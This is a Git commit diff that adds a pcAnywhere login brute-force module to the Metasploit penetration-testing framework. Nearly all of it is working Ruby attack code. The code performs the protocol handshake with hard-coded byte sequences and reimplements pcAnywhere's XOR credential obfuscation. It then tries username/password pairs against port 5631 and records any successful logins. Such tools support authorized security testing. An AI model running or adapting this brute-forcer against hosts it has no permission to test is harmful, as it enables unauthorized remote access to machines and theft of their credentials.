Adds thelightcosine's pcanywhere module
Adds PCAnywhere bruteforce capabilities Squashed commit of the following: commit 5354fd849f0c009c534d7ce18369382dd56de550 Author: David Maloney <DMaloney@rapid7.com> Date: Thu May 31 14:35:23 2012 -0500 Add explicit pack to encrypted header commit 7911dd309a94df2729c8247c3817cf5de6b99aad Author: David Maloney <DMaloney@rapid7.com> Date: Thu May 31 13:11:19 2012 -0500 adds pcanywhere_login moduleunstable
parent
2dbb17ac6e
commit
e93a6ddf83
|
@ -0,0 +1,171 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/exploit/tcp'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Exploit::Remote::Tcp
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::AuthBrute
|
||||||
|
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'pcAnywhere Login Scanner',
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'Description' => %q{This module will test pcAnywhere logins on a range of machines and
|
||||||
|
report successful logins.
|
||||||
|
},
|
||||||
|
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '1999-0502'] # Weak password
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options([Opt::RPORT(5631)])
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
connect
|
||||||
|
hsr = pca_handshake(ip)
|
||||||
|
return if hsr == :handshake_failed
|
||||||
|
|
||||||
|
each_user_pass do |user, pass|
|
||||||
|
next if user.blank? or pass.blank?
|
||||||
|
print_status "Trying #{user}:#{pass}"
|
||||||
|
result = do_login(user, pass)
|
||||||
|
case result
|
||||||
|
when :success
|
||||||
|
print_good "#{ip}:#{rport} Login Successful #{user}:#{pass}"
|
||||||
|
report_auth_info(
|
||||||
|
:host => rhost,
|
||||||
|
:port => datastore['RPORT'],
|
||||||
|
:sname => 'pcanywhere_data',
|
||||||
|
:user => user,
|
||||||
|
:pass => pass,
|
||||||
|
:source_type => "user_supplied",
|
||||||
|
:active => true
|
||||||
|
)
|
||||||
|
return if datastore['STOP_ON_SUCCESS']
|
||||||
|
print_status "Waiting to Re-Negotiate Connection (this may take a minute)..."
|
||||||
|
select(nil, nil, nil, 40)
|
||||||
|
connect
|
||||||
|
hsr = pca_handshake(ip)
|
||||||
|
return if hsr == :handshake_failed
|
||||||
|
when :fail
|
||||||
|
print_status "#{ip}:#{rport} Login Failure #{user}:#{pass}"
|
||||||
|
when :reset
|
||||||
|
print_status "#{ip}:#{rport} Login Failure #{user}:#{pass}"
|
||||||
|
print_status "Connection Reset Attempting to reconnect in 1 second"
|
||||||
|
select(nil, nil, nil, 1)
|
||||||
|
connect
|
||||||
|
hsr = pca_handshake(ip)
|
||||||
|
return if hsr == :handshake_failed
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def do_login(user, pass, nsock=self.sock)
|
||||||
|
#Check if we are already at a logon prompt
|
||||||
|
res = nsock.get_once(-1,5)
|
||||||
|
euser = encryption_header(encrypt(user))
|
||||||
|
nsock.put(euser)
|
||||||
|
res = nsock.get_once(-1,5)
|
||||||
|
|
||||||
|
#See if this knocked a login prompt loose
|
||||||
|
if res and res.include? "Enter login"
|
||||||
|
nsock.put(euser)
|
||||||
|
res = nsock.get_once(-1,5)
|
||||||
|
end
|
||||||
|
|
||||||
|
#Check if we are now at the password prompt
|
||||||
|
unless res and res.include? "Enter password"
|
||||||
|
print_error "Problem Sending Login: #{res.inspect}"
|
||||||
|
return :abort
|
||||||
|
end
|
||||||
|
|
||||||
|
epass = encryption_header(encrypt(pass))
|
||||||
|
nsock.put(epass)
|
||||||
|
res = nsock.get_once(-1,5)
|
||||||
|
if res.include? "Login unsuccessful"
|
||||||
|
disconnect()
|
||||||
|
return :reset
|
||||||
|
elsif res.include? "Invalid login"
|
||||||
|
return :fail
|
||||||
|
else
|
||||||
|
disconnect()
|
||||||
|
return :success
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def pca_handshake(ip, nsock=self.sock)
|
||||||
|
print_status "Handshaking with the pcAnywhere service"
|
||||||
|
nsock.put("\x00\x00\x00\x00")
|
||||||
|
res = nsock.get_once(-1,5)
|
||||||
|
unless res and res.include? "Please press <Enter>"
|
||||||
|
print_error "Handshake(1) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
|
||||||
|
return :handshake_failed
|
||||||
|
end
|
||||||
|
|
||||||
|
nsock.put("\x6F\x06\xff")
|
||||||
|
res = nsock.get_once(-1,5)
|
||||||
|
unless res and res.include? "\x78\x02\x1b\x61"
|
||||||
|
print_error "Handshake(2) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
|
||||||
|
return :handshake_failed
|
||||||
|
end
|
||||||
|
|
||||||
|
nsock.put("\x6f\x61\x00\x09\x00\xfe\x00\x00\xff\xff\x00\x00\x00\x00")
|
||||||
|
res = nsock.get_once(-1,5)
|
||||||
|
unless res and res == "\x1b\x62\x00\x02\x00\x00\x00"
|
||||||
|
print_error "Handshake(3) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
|
||||||
|
return :handshake_failed
|
||||||
|
end
|
||||||
|
|
||||||
|
nsock.put("\x6f\x62\x01\x02\x00\x00\x00")
|
||||||
|
res = nsock.get_once(-1,5)
|
||||||
|
unless res and res.include? "\x00\x7D\x08"
|
||||||
|
print_error "Handshake(4) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
|
||||||
|
return :handshake_failed
|
||||||
|
end
|
||||||
|
|
||||||
|
res = nsock.get_once(-1,5) unless res and res.include? 'Enter login name'
|
||||||
|
unless res and res.include? 'Enter login name'
|
||||||
|
print_error "Handshake(5) failed on Host #{ip} aborting. (Error: #{res.inspect} )"
|
||||||
|
return :handshake_failed
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def encrypt(data)
|
||||||
|
return '' if data.nil? or data.empty?
|
||||||
|
return '' unless data.kind_of? String
|
||||||
|
encrypted = ''
|
||||||
|
encrypted << ( data.unpack('C')[0] ^ 0xab )
|
||||||
|
data.bytes.each_with_index do |byte, idx|
|
||||||
|
next if idx == 0
|
||||||
|
encrypted << ( encrypted[(idx - 1),1].unpack('C')[0] ^ byte ^ (idx - 1) )
|
||||||
|
end
|
||||||
|
return encrypted
|
||||||
|
end
|
||||||
|
|
||||||
|
def encryption_header(data)
|
||||||
|
header = [6,data.size].pack('CC')
|
||||||
|
header << data
|
||||||
|
return header
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue